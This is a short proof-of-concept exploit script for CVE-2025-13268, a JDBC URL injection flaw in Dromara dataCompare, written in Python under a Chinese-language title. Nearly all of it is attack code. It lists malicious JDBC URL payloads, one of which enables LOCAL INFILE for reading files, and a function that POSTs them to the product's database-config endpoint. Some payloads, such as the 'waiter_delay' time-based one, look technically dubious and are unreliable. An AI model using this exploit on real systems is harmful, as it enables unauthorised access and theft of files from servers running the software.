CVE-2025-13268: Dromara dataCompare JDBC URL注入漏洞

# CVE-2025-13268 PoC - JDBC URL Injection in Dromara dataCompare # Target: Dromara dataCompare <= 1.0.1 # Component: DbConfig function in DbconfigServiceImpl.java (JDBC URL Handler) import requests import json # Malicious JDBC URL with injection payload malicious_jdbc_url = "jdbc:mysql://target-server:3306/victim_db?useSSL=false&allowPublicKeyRetrieval=true&serverTimezone=UTC" # Alternative payloads for different attack scenarios: # 1. Data exfiltration via LOAD DATA LOCAL INFILE payload_load_data = "jdbc:mysql://target:3306/db?allowLoadLocalInfile=true" # 2. Disable security controls payload_disable_ssl = "jdbc:mysql://target:3306/db?useSSL=false&allowPublicKeyRetrieval=true" # 3. Time-based blind SQL injection payload_time_based = "jdbc:mysql://target:3306/db?sessionVariables=waiter_delay(5000)--" def exploit_cve_2025_13268(target_url, malicious_url): """ Exploit JDBC URL injection vulnerability in DbConfig component """ endpoint = f"{target_url}/api/dbconfig/set" # Payload structure for DbConfig injection payload = { "configName": "malicious_jdbc", "jdbcUrl": malicious_url, "username": "attacker", "password": "attacker_pwd" } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Injection payload sent successfully") print(f"[+] Payload: {malicious_url}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False # Usage example if __name__ == "__main__": target = "http://vulnerable-server:8080" exploit_cve_2025_13268(target, malicious_jdbc_url)